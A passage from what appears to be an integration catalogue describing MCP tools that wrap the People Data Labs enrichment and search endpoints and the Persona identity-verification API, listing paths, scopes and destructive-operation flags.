/api/v1/peopledatalabs/v5/job_title/enrich. Scopes: api. peopledatalabs_get_v5_location_clean (read) — Clean and standardise a location via GET /v5/location/clean. Normalises a messy input string to PDL's canonical form. The same question can be asked with a JSON body by `peopledatalabs_post_v5_location_clean`; reach for that one when a value would not survive a URL. GET /api/v1/peopledatalabs/v5/location/clean. Scopes: api. peopledatalabs_get_v5_person_enrich (read) — Enrich a person record via GET /v5/person/enrich. Returns the single best-matching record for the identifiers supplied; answers 404 when nothing matches confidently. The same question can be asked with a JSON body by `peopledatalabs_post_v5_person_enrich`; reach for that one when a value would not survive a URL. GET /api/v1/peopledatalabs/v5/person/enrich. Scopes: api. peopledatalabs_get_v5_person_identify (read) — Identify candidate person records via GET /v5/person/identify. Returns several ranked candidate matches rather than one answer -- use it when the identifiers are weak. GET /api/v1/peopledatalabs/v5/person/identify. Scopes: api. peopledatalabs_get_v5_person_retrieve_person_id (read) — Retrieve a person record by id via GET /v5/person/retrieve/{person_id}. Fetches a record by its PDL identifier. Costs no credits on a record already purchased. This account cannot call it today: People Data Labs answers HTTP 401 {"type":"Unauthorized","message":"Account <id> has retrieve disabled","billed":false} (measured 2026-09-18). That 401 is an ENTITLEMENT refusal, not a bad key -- the same key answers 200 on enrich, search and the cleaners in the same second -- and it is lifted by buying the Person Retrieve product, not by reconnecting. GET /api/v1/peopledatalabs/v5/person/retrieve/{person_id}. Scopes: api. peopledatalabs_get_v5_person_search (read) — Search people via GET /v5/person/search. Returns many records for a query. GET takes SQL or an Elasticsearch query string; the POST form takes the same query as a structured body and is the one to use for anything a URL cannot carry. Supply EXACTLY ONE of `query` (an Elasticsearch 7.7 query, as a JSON string) or `sql` (`SELECT * FROM person|company WHERE ...`); sending both, or neither, is a 400 from People Data Labs naming which. The same question can be asked with a JSON body by `peopledatalabs_post_v5_person_search`; reach for that one when a value would not survive a URL. GET /api/v1/peopledatalabs/v5/person/search. Scopes: api. peopledatalabs_get_v5_school_clean (read) — Clean and standardise a school name via GET /v5/school/clean. Normalises a messy input string to PDL's canonical form. The same question can be asked with a JSON body by `peopledatalabs_post_v5_school_clean`; reach for that one when a value would not survive a URL. GET /api/v1/peopledatalabs/v5/school/clean. Scopes: api. peopledatalabs_post_v5_autocomplete (read) — Autocomplete a field value (structured request) via POST /v5/autocomplete. Suggests valid values for a field, for building a query. This is the request-body form of `peopledatalabs_get_v5_autocomplete`: the same operation, with every input sent as a JSON field instead of a query parameter. POST /api/v1/peopledatalabs/v5/autocomplete. Scopes: api. peopledatalabs_post_v5_company_clean (read) — Clean and standardise a company name (structured request) via POST /v5/company/clean. Normalises a messy input string to PDL's canonical form. This is the request-body form of `peopledatalabs_get_v5_company_clean`: the same operation, with every input sent as a JSON field instead of a query parameter. POST /api/v1/peopledatalabs/v5/company/clean. Scopes: api. peopledatalabs_post_v5_company_enrich (read) — Enrich a company record (structured request) via POST /v5/company/enrich. Returns the single best-matching record for the identifiers supplied; answers 404 when nothing matches confidently. This is the request-body form of `peopledatalabs_get_v5_company_enrich`: the same operation, with every input sent as a JSON field instead of a query parameter. POST /api/v1/peopledatalabs/v5/company/enrich. Scopes: api. peopledatalabs_post_v5_company_search (read) — Search companies (structured query) via POST /v5/company/search. Returns many records for a query. GET takes SQL or an Elasticsearch query string; the POST form takes the same query as a structured body and is the one to use for anything a URL cannot carry. Supply EXACTLY ONE of `query` (an Elasticsearch 7.7 query, as a JSON string) or `sql` (`SELECT * FROM person|company WHERE ...`); sending both, or neither, is a 400 from People Data Labs naming which. This is the request-body form of `peopledatalabs_get_v5_company_search`: the same operation, with every input sent as a JSON field instead of a query parameter. POST /api/v1/peopledatalabs/v5/company/search. Scopes: api. peopledatalabs_post_v5_job_title_enrich (read) — Enrich a job title (structured request) via POST /v5/job_title/enrich. Returns the single best-matching record for the identifiers supplied; answers 404 when nothing matches confidently. This is the request-body form of `peopledatalabs_get_v5_job_title_enrich`: the same operation, with every input sent as a JSON field instead of a query parameter. POST /api/v1/peopledatalabs/v5/job_title/enrich. Scopes: api. peopledatalabs_post_v5_location_clean (read) — Clean and standardise a location (structured request) via POST /v5/location/clean. Normalises a messy input string to PDL's canonical form. This is the request-body form of `peopledatalabs_get_v5_location_clean`: the same operation, with every input sent as a JSON field instead of a query parameter. POST /api/v1/peopledatalabs/v5/location/clean. Scopes: api. peopledatalabs_post_v5_person_enrich (read) — Enrich a person record (structured request) via POST /v5/person/enrich. Returns the single best-matching record for the identifiers supplied; answers 404 when nothing matches confidently. This is the request-body form of `peopledatalabs_get_v5_person_enrich`: the same operation, with every input sent as a JSON field instead of a query parameter. POST /api/v1/peopledatalabs/v5/person/enrich. Scopes: api. peopledatalabs_post_v5_person_retrieve_bulk (read) — Retrieve several person records by id via POST /v5/person/retrieve/bulk. Fetches a record by its PDL identifier. Costs no credits on a record already purchased. This account cannot call it today: People Data Labs answers HTTP 401 {"type":"Unauthorized","message":"Account <id> has bulk retrieve disabled","billed":false} (measured 2026-09-18). That 401 is an ENTITLEMENT refusal, not a bad key, and is lifted by buying the Person Retrieve product rather than by reconnecting. POST /api/v1/peopledatalabs/v5/person/retrieve/bulk. Scopes: api. peopledatalabs_post_v5_person_search (read) — Search people (structured query) via POST /v5/person/search. Returns many records for a query. GET takes SQL or an Elasticsearch query string; the POST form takes the same query as a structured body and is the one to use for anything a URL cannot carry. Supply EXACTLY ONE of `query` (an Elasticsearch 7.7 query, as a JSON string) or `sql` (`SELECT * FROM person|company WHERE ...`); sending both, or neither, is a 400 from People Data Labs naming which. This is the request-body form of `peopledatalabs_get_v5_person_search`: the same operation, with every input sent as a JSON field instead of a query parameter. POST /api/v1/peopledatalabs/v5/person/search. Scopes: api. peopledatalabs_post_v5_school_clean (read) — Clean and standardise a school name (structured request) via POST /v5/school/clean. Normalises a messy input string to PDL's canonical form. This is the request-body form of `peopledatalabs_get_v5_school_clean`: the same operation, with every input sent as a JSON field instead of a query parameter. POST /api/v1/peopledatalabs/v5/school/clean. Scopes: api. ================================================================================ ## Persona URL: https://www.agenticfabriq.com/integrations/persona Section: Integrated Tools Persona — 204 MCP tools Provider key: persona. Scopes: account.read, account.write, account_type.read, api_key.read, api_key.write, api_log.read, case.read, case.write, case_template.read, connect.read, connect.write, device.read, document.read, event.read, graph_query.read, graph_query.write, importer.read, inquiry.read, inquiry.write, inquiry_session.read, inquiry_session.write, inquiry_template.read, inquiry_template.write, inquiry_template_version.read, list.read, list.write, oauth.write, privacy_pass.write, rate_limit.read, relay.write, report.read, report.write, theme_set.read, theme_set.write, transaction.read, transaction.write, transaction_type.read, user_audit_log.read, verification.read, verification.write, webhook.read, webhook.write, workflow.write, workflow_run.read, workflow_version.read. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. persona_delete_accounts_by_account_id (write, destructive) — Permanently deletes personally identifiable information (PII) for an Account and all associated Inquiries, Verifications and Reports. The response indicates a successful redaction of the Account. Redaction of the Account's associated child objects is done asynchronously and may take some time before all associated child objects are fully redacted. **This action cannot be undone**. This endpoint can be used to comply with privacy regulations such as GDPR / CCPA or to enforce data privacy. Note: An account is still updatable after redaction. If you want to delete data continuously, please reach out to us to help you setup a retention policy. via DELETE /accounts/{account-id} DELETE /api/v1/persona/accounts/{account_id}. Scopes: account.write. persona_delete_cases_by_case_id (write, destructive) — Permanently redacts a Case and its fields. Case objects must be redacted individually. **This action cannot be undone**. via DELETE /cases/{case-id} DELETE /api/v1/persona/cases/{case_id}. Scopes: case.write. persona_delete_inquiries_by_inquiry_id (write, destructive) — Permanently deletes personally identifiable information (PII) for an Inquiry and all associated Verifications, Reports, or other Persona resources. The response indicates a successful redaction of the Inquiry. Redaction of the Inquiry's associated child objects are done asynchronously and may take some time before all associated child objects are fully redacted. **This action cannot be undone**. This endpoint can be used to comply with privacy regulations such as GDPR / CCPA or to enforce data privacy. via DELETE /inquiries/{inquiry-id} DELETE /api/v1/persona/inquiries/{inquiry_id}. Scopes: inquiry.write. persona_delete_list_item_browser_fingerprints_by_list_item_id (write, destructive) — Archived items are not matched against new inquiries. via DELETE /list-item/browser-fingerprints/{list-item-id} DELETE /api/v1/persona/list-item/browser-fingerprints/{list_item_id}. Scopes: list.write. persona_delete_list_item_countries_by_list_item_id (write, destructive) — Archived items are not matched against new inquiries. via DELETE /list-item/countries/{list-item-id} DELETE /api/v1/persona/list-item/countries/{list_item_id}. Scopes: list.write. persona_delete_list_item_device_fingerprints_by_list_item_id (write, destructive) — Archived items are not matched against new inquiries. via DELETE /list-item/device-fingerprints/{list-item-id} DELETE /api/v1/persona/list-item/device-fingerprints/{list_item_id}. Scopes: list.write. persona_delete_list_item_email_addresses_by_list_item_id (write, destructive) — Archived items are not matched against new inquiries. via DELETE /list-item/email-addresses/{list-item-id} DELETE /api/v1/persona/list-item/email-addresses/{list_item_id}. Scopes: list.write. persona_delete_list_item_fields_by_list_item_id (write, destructive) — Archived items are not matched against new inquiries. via DELETE /list-item/fields/{list-item-id} DELETE /api/v1/persona/list-item/fields/{list_item_id}. Scopes: list.write. persona_delete_list_item_geolocations_by_list_item_id (write, destructive) — Archived items are not matched against new inquiries. via DELETE /list-item/geolocations/{list-item-id} DELETE /api/v1/persona/list-item/geolocations/{list_item_id}. Scopes: list.write. persona_delete_list_item_government_id_numbers_by_list_item_id (write, destructive) — Archived items are not matched against new inquiries. via DELETE /list-item/government-id-numbers/{list-item-id} DELETE /api/v1/persona/list-item/government-id-numbers/{list_item_id}. Scopes: list.write. persona_delete_list_item_ip_addresses_by_list_item_id (write, destructive) — Archived items are not matched against new inquiries. via DELETE /list-item/ip-addresses/{list-item-id} DELETE /api/v1/persona/list-item/ip-addresses/{list_item_id}. Scopes: list.write. persona_delete_list_item_names_by_list_item_id (write, destructive) — Archived items are not matched against new inquiries. via DELETE /list-item/names/{list-item-id} DELETE /api/v1/persona/list-item/names/{list_item_id}. Scopes: list.write. persona_delete_list_item_phone_numbers_by_list_item_id (write, destructive) — Archived items are not matched against new inquiries. via DELETE /list-item/phone-numbers/{list-item-id} DELETE /api/v1/persona/list-item/phone-numbers/{list_item_id}. Scopes: list.write. persona_delete_list_item_strings_by_list_item_id (write, destructive) — Archived items are not matched against new inquiries. via DELETE /list-item/strings/{list-item-id} DELETE /api/v1/persona/list-item/strings/{list_item_id}. Scopes: list.write. persona_delete_lists_by_list_id (write, destructive) — Archive an existing list. Archived lists are still retrievable, but will no longer match on inquiries. via DELETE /lists/{list-id} DELETE /api/v1/persona/lists/{list_id}. Scopes: list.write. persona_delete_reports_by_report_id (write, destructive) — Permanently deletes personally identifiable information (PII) for a Report. This endpoint can be used to comply with privacy regulations such as GDPR / CCPA or to enforce data privacy. Note that this will only delete the report -- it does not delete associated accounts, inquiries, verifications, or other Persona resources. via DELETE /reports/{report-id} DELETE /api/v1/persona/reports/{report_id}. Scopes: report.write. persona_delete_theme_sets_by_theme_set_id (write, destructive) — Archive an existing theme set. Archived theme sets are still retrievable, but can no longer be assigned to inquiry templates. Archiving also detaches the theme set from any inquiry templates it is assigned to — live flows fall back to default styling. The organization's default theme set cannot be archived and returns a 409. via DELETE /theme-sets/{theme-set-id} DELETE /api/v1/persona/theme-sets/{theme_set_id}. Scopes: theme_set.write. persona_delete_transactions_by_transaction_id (write, destructive) — Permanently deletes personally identifiable information (PII) for a Transaction. The response indicates a successful redaction of the Transaction. Redaction of the Transaction's associated child objects is done asynchronously and may take some time before all associated child objects are fully redacted. **This action cannot be undone**. via DELETE /transactions/{transaction-id} DELETE /api/v1/persona/transactions/{transaction_id}. Scopes: transaction.write. persona_delete_verifications_by_verification_id (write, destructive) — Permanently deletes personally identifiable information (PII) for a Verification. **This action cannot be undone**. This endpoint can be used to comply with privacy regulations such as GDPR / CCPA or to enforce data privacy. via DELETE /verifications/{verification-id} DELETE /api/v1/persona/verifications/{verification_id}. Scopes: verification.write. persona_get_account_types_by_account_type_id (read) — Retrieves the details of an existing Account Type, including its configured field schemas. via GET /account-types/{account-type-id} GET /api/v1/persona/account-types/{account_type_id}. Scopes: account_type.read. persona_get_accounts (read) — Returns a list of your organization's account(s). Results are returned in reverse chronological order, with the most recently created objects first. via GET /accounts GET /api/v1/persona/accounts. Scopes: account.read. persona_get_accounts_by_account_id (read) — Retrieves the details of an existing Account. via GET /accounts/{account-id} GET /api/v1/persona/accounts/{account_id}. Scopes: account.read. persona_get_accounts_by_account_id_relations (read) — Gets relations for an Account by key via GET /accounts/{account-id}/relations GET /api/v1/persona/accounts/{account_id}/relations. Scopes: account.read. persona_get_api_keys (read) — Returns a list of your organization's API keys. Results are returned in reverse chronological order, with the most recently created objects first. via GET /api-keys GET /api/v1/persona/api-keys. Scopes: api_key.read. persona_get_api_keys_by_api_key_id (read) — Retrieves the information for an existing API key. The plaintext value is only returned when creating or cloning an API key. via GET /api-keys/{api-key-id} GET /api/v1/persona/api-keys/{api_key_id}. Scopes: api_key.read. persona_get_api_logs (read) — Returns a list of your organization's API Logs. Results are returned in reverse chronological order, with the most recently created objects first. via GET /api-logs GET /api/v1/persona/api-logs. Scopes: api_log.read. persona_get_api_logs_by_api_log_id (read) — Retrieves the details of an existing API Log. via GET /api-logs/{api-log-id} GET /api/v1/persona/api-logs/{api_log_id}. Scopes: api_log.read. persona_get_case_templates_by_case_template_id (read) — Retrieves the details of an existing Case Template, including its configured field schemas. via GET /case-templates/{case-template-id} GET /api/v1/persona/case-templates/{case_template_id}. Scopes: case_template.read. persona_get_cases (read) — Returns a list of your organization's cases. Note that this endpoint aggregates cases across all case template(s). See [Pagination](https://docs.withpersona.com/pagination)for more details about handling the response. Results are returned in reverse chronological order, with the most recently created objects first. via GET /cases GET /api/v1/persona/cases. Scopes: case.read. persona_get_cases_by_case_id (read) — Retrieves the details of an existing Case. via GET /cases/{case-id} GET /api/v1/persona/cases/{case_id}. Scopes: case.read. persona_get_connect_connections (read) — Returns a list of connect connections associated with your organization, including both outbound connections your organization created and inbound connections where your organization is the destination. Results are returned in reverse chronological order, with the most recently created objects first. via GET /connect/connections GET /api/v1/persona/connect/connections. Scopes: connect.read. persona_get_connect_connections_by_connection_id (read) — Retrieves the details of an existing Connection. via GET /connect/connections/{connection-id} GET /api/v1/persona/connect/connections/{persona_connection_id}. Scopes: connect.read. persona_get_connect_share_tokens (read) — Returns a list of your organization's Share Tokens. Results are returned in reverse chronological order, with the most recently created objects first. via GET /connect/share-tokens GET /api/v1/persona/connect/share-tokens. Scopes: connect.read. persona_get_connect_share_tokens_by_share_token_id (read) — Retrieve the information for an existing Share Token. via GET /connect/share-tokens/{share-token-id} GET /api/v1/persona/connect/share-tokens/{share_token_id}. Scopes: connect.read. persona_get_devices (read) — Retrieves a list of Devices. Results are returned in reverse chronological order, with the most recently created objects first. via GET /devices GET /api/v1/persona/devices. Scopes: device.read. persona_get_devices_by_device_id (read) — Retrieves details of a specific Device. via GET /devices/{device-id} GET /api/v1/persona/devices/{device_id}. Scopes: device.read. persona_get_document_generics_by_document_id (read) — Retrieves the details of a generic document that has been previously created. via GET /document/generics/{document-id} GET /api/v1/persona/document/generics/{document_id}. Scopes: document.read. persona_get_document_government_ids_by_document_id (read) — Retrieves the details of a government-id document that has been previously created. via GET /document/government-ids/{document-id} GET /api/v1/persona/document/government-ids/{document_id}. Scopes: document.read. persona_get_documents_by_document_id (read) — Retrieves the details of a Document. via GET /documents/{document-id} GET /api/v1/persona/documents/{document_id}. Scopes: document.read. persona_get_events (read) — Returns a list of your organization's events. Results are returned in reverse chronological order, with the most recently created objects first. via GET /events GET /api/v1/persona/events. Scopes: event.read. persona_get_events_by_event_id (read) — Retrieves the details of an existing event. via GET /events/{event-id} GET /api/v1/persona/events/{event_id}. Scopes: event.read. persona_get_graph_queries_by_graph_query_id (read) — Retrieve a Graph Query via GET /graph-queries/{graph-query-id} GET /api/v1/persona/graph-queries/{graph_query_id}. Scopes: graph_query.read. persona_get_importers (read) — Returns a list of your organization's importers. Results are returned in reverse chronological order, with the most recently created objects first. via GET /importers GET /api/v1/persona/importers. Scopes: importer.read. persona_get_importers_by_importer_id (read) — Retrieve the details of an existing importer. via GET /importers/{importer-id} GET /api/v1/persona/importers/{importer_id}. Scopes: importer.read. persona_get_inquiries (read) — Returns a list of your organization's inquiries. Note that this endpoint aggregates inquiries across all inquiry template(s). See [Pagination](https://docs.withpersona.com/pagination) for more details about handling the response. Results are returned in reverse chronological order, with the most recently created objects first. via GET /inquiries GET /api/v1/persona/inquiries. Scopes: inquiry.read. persona_get_inquiries_by_inquiry_id (read) — Retrieves the details of an existing Inquiry. In the [Embedded Flow](https://docs.withpersona.com/embedded-flow), the `inquiry-id` is the first parameter of the onStart callback. In the [Hosted Flow](https://docs.withpersona.com/hosted-flow), the `inquiry-id` is a query parameter in the onComplete callback. Template information will be found in `data.relationships.inquiry-template` if the inquiry is a Dynamic Flow inquiry, and in `data.relationships.template` if the inquiry is a Legacy 2.0 inquiry. For more information, see [Dynamic Flow vs. Legacy Templates](https://docs.withpersona.com/inquiry-templates#dynamic-flow-vs-legacy-templates). via GET /inquiries/{inquiry-id} GET /api/v1/persona/inquiries/{inquiry_id}. Scopes: inquiry.read. persona_get_inquiry_sessions (read) — Retrieves a list of Inquiry Sessions. Results are returned in reverse chronological order, with the most recently created objects first. via GET /inquiry-sessions GET /api/v1/persona/inquiry-sessions. Scopes: inquiry_session.read. persona_get_inquiry_sessions_by_inquiry_session_id (read) — Retrieves details of a specific Inquiry Session. via GET /inquiry-sessions/{inquiry-session-id} GET /api/v1/persona/inquiry-sessions/{inquiry_session_id}. Scopes: inquiry_session.read. persona_get_inquiry_template_versions (read) — Retrieves the published versions and current draft version of an Inquiry Template. Use a production API key and provide the Inquiry Template ID in `filter[inquiry-template-id]`. For security reasons, Inquiry Template Versions are not available in Sandbox. via GET /inquiry-template-versions GET /api/v1/persona/inquiry-template-versions. Scopes: inquiry_template_version.read. persona_get_inquiry_templates (read) — Retrieves a list of your organization's Inquiry Templates. Note: You must use a production API key to access this endpoint. For security reasons, we do not expose organization-level resources like Inquiry Templates in Sandbox via API. Results are returned in reverse chronological order, with the most recently created objects first. via GET /inquiry-templates GET /api/v1/persona/inquiry-templates. Scopes: inquiry_template.read. persona_get_inquiry_templates_by_inquiry_template_id (read) — Retrieves details of a specific Inquiry Template by ID. Note: You must use a production API key to access this endpoint. For security reasons, we do not expose organization-level resources like Inquiry Templates in Sandbox via API. via GET /inquiry-templates/{inquiry-template-id} GET /api/v1/persona/inquiry-templates/{inquiry_template_id}. Scopes: inquiry_template.read. persona_get_inquiry_templates_by_inquiry_template_id_translations (read) — Retrieves the translations for an Inquiry Template as a JSON:API resource. The export uses the latest draft version if one exists, otherwise falls back to the latest published version. Note: You must use a production API key to access this endpoint. For security reasons, we do not expose organization-level resources like Inquiry Templates in Sandbox via API. via GET /inquiry-templates/{inquiry-template-id}/translations GET /api/v1/persona/inquiry-templates/{inquiry_template_id}/translations. Scopes: inquiry_template.read. persona_get_list_item_browser_fingerprints_by_list_item_id (read) — Retrieves the details of an existing browser fingerprint List Item. via GET /list-item/browser-fingerprints/{list-item-id} GET /api/v1/persona/list-item/browser-fingerprints/{list_item_id}. Scopes: list.read. persona_get_list_item_countries_by_list_item_id (read) — Retrieves the details of an existing country List Item. via GET /list-item/countries/{list-item-id} GET /api/v1/persona/list-item/countries/{list_item_id}. Scopes: list.read. persona_get_list_item_device_fingerprints_by_list_item_id (read) — Retrieves the details of an existing device fingerprint List Item. via GET /list-item/device-fingerprints/{list-item-id} GET /api/v1/persona/list-item/device-fingerprints/{list_item_id}. Scopes: list.read. persona_get_list_item_email_addresses_by_list_item_id (read) — Retrieves the details of an existing email address List Item. via GET /list-item/email-addresses/{list-item-id} GET /api/v1/persona/list-item/email-addresses/{list_item_id}. Scopes: list.read. persona_get_list_item_fields_by_list_item_id (read) — Retrieves the details of an existing field List Item. via GET /list-item/fields/{list-item-id} GET /api/v1/persona/list-item/fields/{list_item_id}. Scopes: list.read. persona_get_list_item_geolocations_by_list_item_id (read) — Retrieves the details of an existing geolocation List Item. via GET /list-item/geolocations/{list-item-id} GET /api/v1/persona/list-item/geolocations/{list_item_id}. Scopes: list.read. persona_get_list_item_government_id_numbers_by_list_item_id (read) — Retrieves the details of an existing government ID number List Item. via GET /list-item/government-id-numbers/{list-item-id} GET /api/v1/persona/list-item/government-id-numbers/{list_item_id}. Scopes: list.read. persona_get_list_item_ip_addresses_by_list_item_id (read) — Retrieves the details of an existing IP address List Item. via GET /list-item/ip-addresses/{list-item-id} GET /api/v1/persona/list-item/ip-addresses/{list_item_id}. Scopes: list.read. persona_get_list_item_names_by_list_item_id (read) — Retrieves the details of an existing name List Item. via GET /list-item/names/{list-item-id} GET /api/v1/persona/list-item/names/{list_item_id}. Scopes: list.read. persona_get_list_item_phone_numbers_by_list_item_id (read) — Retrieves the details of an existing phone number List Item. via GET /list-item/phone-numbers/{list-item-id} GET /api/v1/persona/list-item/phone-numbers/{list_item_id}. Scopes: list.read. persona_get_list_item_strings_by_list_item_id (read) — Retrieves the details of an existing string List Item. via GET /list-item/strings/{list-item-id} GET /api/v1/persona/list-item/strings/{list_item_id}. Scopes: list.read. persona_get_lists (read) — Returns a list of your organization's lists. Results are returned in reverse chronological order, with the most recently created objects first. via GET /lists GET /api/v1/persona/lists. Scopes: list.read. persona_get_lists_by_list_id (read) — Retrieves the details of an existing list. via GET /lists/{list-id} GET /api/v1/persona/lists/{list_id}. Scopes: list.read. persona_get_rate_limits (read) — Returns a list of your current rate limits. via GET /rate-limits GET /api/v1/persona/rate-limits. Scopes: rate_limit.read. persona_get_reports (read) — Returns a list of all your organization's Reports. Results are returned in reverse chronological order, with the most recently created objects first. via GET /reports GET /api/v1/persona/reports. Scopes: report.read. persona_get_reports_by_report_id (read) — Retrieves the details of an existing Report. via GET /reports/{report-id} GET /api/v1/persona/reports/{report_id}. Scopes: report.read. persona_get_reports_by_report_id_history (read) — Retrieves the history of an existing Report, including runs and actions. See [Pagination](https://docs.withpersona.com/pagination) for more details about handling the response. Results are returned in reverse chronological order, with the most recently created objects first. via GET /reports/{report-id}/history GET /api/v1/persona/reports/{report_id}/history. Scopes: report.read. persona_get_theme_sets (read) — Returns a list of your organization's theme sets. Results are returned in reverse chronological order, with the most recently created objects first. via GET /theme-sets GET /api/v1/persona/theme-sets. Scopes: theme_set.read. persona_get_theme_sets_by_theme_set_id (read) — Retrieves the details of an existing theme set. via GET /theme-sets/{theme-set-id} GET /api/v1/persona/theme-sets/{theme_set_id}. Scopes: theme_set.read. persona_get_transaction_types_by_transaction_type_id (read) — Retrieves the details of an existing Transaction Type. via GET /transaction-types/{transaction-type-id} GET /api/v1/persona/transaction-types/{transaction_type_id}. Scopes: transaction_type.read. persona_get_transactions (read) — Returns a list of your organization's transactions. Note that this endpoint aggregates transactions across all transaction type(s). See [Pagination](https://docs.withpersona.com/pagination) for more details about handling the response. Results are returned in reverse chronological order, with the most recently created objects first. via GET /transactions GET /api/v1/persona/transactions. Scopes: transaction.read. persona_get_transactions_by_transaction_id (read) — Retrieves the details of an existing Transaction. via GET /transactions/{transaction-id} GET /api/v1/persona/transactions/{transaction_id}. Scopes: transaction.read. persona_get_user_audit_logs (read) — Returns a list of your organization’s user audit logs for up to the most recent 6 months. Note: You must use a production API key to access this endpoint. For security reasons, we do not expose organization-level resources like user audit logs in Sandbox via API. Results are returned in reverse chronological order, with the most recently created objects first. via GET /user-audit-logs GET /api/v1/persona/user-audit-logs. Scopes: user_audit_log.read. persona_get_user_audit_logs_by_user_audit_log_id (read) — Retrieves the details of an existing user audit logs for up to the most recent 6 months. Note: You must use a production API key to access this endpoint. For security reasons, we do not expose organization-level resources like user audit logs in Sandbox via API. via GET /user-audit-logs/{user-audit-log-id} GET /api/v1/persona/user-audit-logs/{user_audit_log_id}. Scopes: user_audit_log.read. persona_get_verification_aamvas_by_verification_id (read) — Retrieve an AAMVA verification via GET /verification/aamvas/{verification-id} GET /api/v1/persona/verification/aamvas/{verification_id}. Scopes: verification.read. persona_get_verification_database_businesses_by_verification_id (read) — Retrieve a database business verification via GET /verification/database-businesses/{verification-id} GET /api/v1/persona/verification/database-businesses/{verification_id}. Scopes: verification.read. persona_get_verification_database_ecbsvs_by_verification_id (read) — Retrieve an eCBSV database verification via GET /verification/database-ecbsvs/{verification-id} GET /api/v1/persona/verification/database-ecbsvs/{verification_id}. Scopes: verification.read. persona_get_verification_database_phone_carriers_by_verification_id (read) — Retrieve a phone carrier database verification via GET /verification/database-phone-carriers/{verification-id} GET /api/v1/persona/verification/database-phone-carriers/{verification_id}. Scopes: verification.read. persona_get_verification_database_serpros_by_verification_id (read) — Retrieve a Serpro database verification via GET /verification/database-serpros/{verification-id} GET /api/v1/persona/verification/database-serpros/{verification_id}. Scopes: verification.read. persona_get_verification_database_standards_by_verification_id (read) — Retrieve a database standard verification via GET /verification/database-standards/{verification-id} GET /api/v1/persona/verification/database-standards/{verification_id}. Scopes: verification.read. persona_get_verification_database_tins_by_verification_id (read) — Retrieve a TIN database verification via GET /verification/database-tins/{verification-id} GET /api/v1/persona/verification/database-tins/{verification_id}. Scopes: verification.read. persona_get_verification_databases_by_verification_id (read) — Retrieve a database verification via GET /verification/databases/{verification-id} GET /api/v1/persona/verification/databases/{verification_id}. Scopes: verification.read. persona_get_verification_documents_by_verification_id (read) — Retrieves the details of a specific document verification via GET /verification/documents/{verification-id} GET /api/v1/persona/verification/documents/{verification_id}. Scopes: verification.read. persona_get_verification_email_addresses_by_verification_id (read) — Retrieve a email address verification via GET /verification/email-addresses/{verification-id} GET /api/v1/persona/verification/email-addresses/{verification_id}. Scopes: verification.read. persona_get_verification_government_id_nfcs_by_verification_id (read) — Retrieve a Government ID NFC verification via GET /verification/government-id-nfcs/{verification-id} GET /api/v1/persona/verification/government-id-nfcs/{verification_id}. Scopes: verification.read. persona_get_verification_government_ids_by_verification_id (read) — Retrieve a government ID verification via GET /verification/government-ids/{verification-id} GET /api/v1/persona/verification/government-ids/{verification_id}. Scopes: verification.read. persona_get_verification_phone_numbers_by_verification_id (read) — Retrieve a phone number verification via GET /verification/phone-numbers/{verification-id} GET /api/v1/persona/verification/phone-numbers/{verification_id}. Scopes: verification.read. persona_get_verification_selfies_by_verification_id (read) — Retrieve a selfie ID verification via GET /verification/selfies/{verification-id} GET /api/v1/persona/verification/selfies/{verification_id}. Scopes: verification.read. persona_get_verifications_by_verification_id (read) — Retrieves the details of an existing Verification. via GET /verifications/{verification-id} GET /api/v1/persona/verifications/{verification_id}. Scopes: verification.read. persona_get_webhooks (read) — Returns a list of your environment's webhooks. Results are returned in reverse chronological order, with the most recently created objects first. via GET /webhooks GET /api/v1/persona/webhooks. Scopes: webhook.read. persona_get_webhooks_by_webhook_id (read) — Retrieves the details of an existing webhook, including its secret. via GET /webhooks/{webhook-id} GET /api/v1/persona/webhooks/{webhook_id}. Scopes: webhook.read. persona_get_workflow_runs (read) — Returns a list of your environment's workflow runs. Results are returned in reverse chronological order, with the most recently created objects first. via GET /workflow-runs GET /api/v1/persona/workflow-runs. Scopes: workflow_run.read. persona_get_workflow_runs_by_workflow_run_id (read) — Retrieves the details of an existing workflow run. via GET /workflow-runs/{workflow-run-id} GET /api/v1/persona/workflow-runs/{workflow_run_id}. Scopes: workflow_run.read. persona_get_workflow_versions (read) — Retrieves the published versions and current draft version of a Workflow. Archived versions are not returned. Provide the Workflow ID in `filter[workflow-id]`, which you can copy from the Workflow in your Persona dashboard. The `live`, `rollout-label`, and `rollout-percentage` attributes are relative to the environment your API key belongs to: a version live in Production is not live in Sandbox. Sandbox API keys are supported, and report `live: false` for every version of a Workflow that is only deployed to Production. via GET /workflow-versions GET /api/v1/persona/workflow-versions. Scopes: workflow_version.read. persona_patch_accounts_by_account_id (write) — Updates an existing Account. via PATCH /accounts/{account-id} PATCH /api/v1/persona/accounts/{account_id}. Scopes: account.write. persona_patch_api_keys_by_api_key_id (write) — Updates an existing API key. via PATCH /api-keys/{api-key-id} PATCH /api/v1/persona/api-keys/{api_key_id}. Scopes: api_key.write. persona_patch_cases_by_case_id (write) — Updates the fields and add attachments on a Case that has been previously created. via PATCH /cases/{case-id} PATCH /api/v1/persona/cases/{case_id}. Scopes: case.write. persona_patch_inquiries_by_inquiry_id (write) — Updates an existing Inquiry. Note that if you use webhooks, updates to inquiries that are not in progress can result in data getting out of sync. For example, updating a completed Inquiry will not cause your Inquiry completed webhook to retrigger. Inquiries represent a snapshot of data collected from an individual, so we generally do not recommend updating an Inquiry's data after the Inquiry has been finalized. via PATCH /inquiries/{inquiry-id} PATCH /api/v1/persona/inquiries/{inquiry_id}. Scopes: inquiry.write. persona_patch_inquiries_by_inquiry_id_set_simulate_stubs (write) — Sets simulated inputs on a Sandbox Inquiry. via PATCH /inquiries/{inquiry-id}/set-simulate-stubs PATCH /api/v1/persona/inquiries/{inquiry_id}/set-simulate-stubs. Scopes: inquiry.write. persona_patch_theme_sets_by_theme_set_id (write) — Updates an existing theme set. Both attributes are optional — an omitted attribute is left unchanged. When `styles` is present it replaces the stored styling wholesale: the tree carries the complete desired styling, and any cell absent from it falls back to the Persona default cascade. via PATCH /theme-sets/{theme-set-id} PATCH /api/v1/persona/theme-sets/{theme_set_id}. Scopes: theme_set.write. persona_patch_transactions_by_transaction_id (write) — Updates a Transaction that has been previously created. via PATCH /transactions/{transaction-id} PATCH 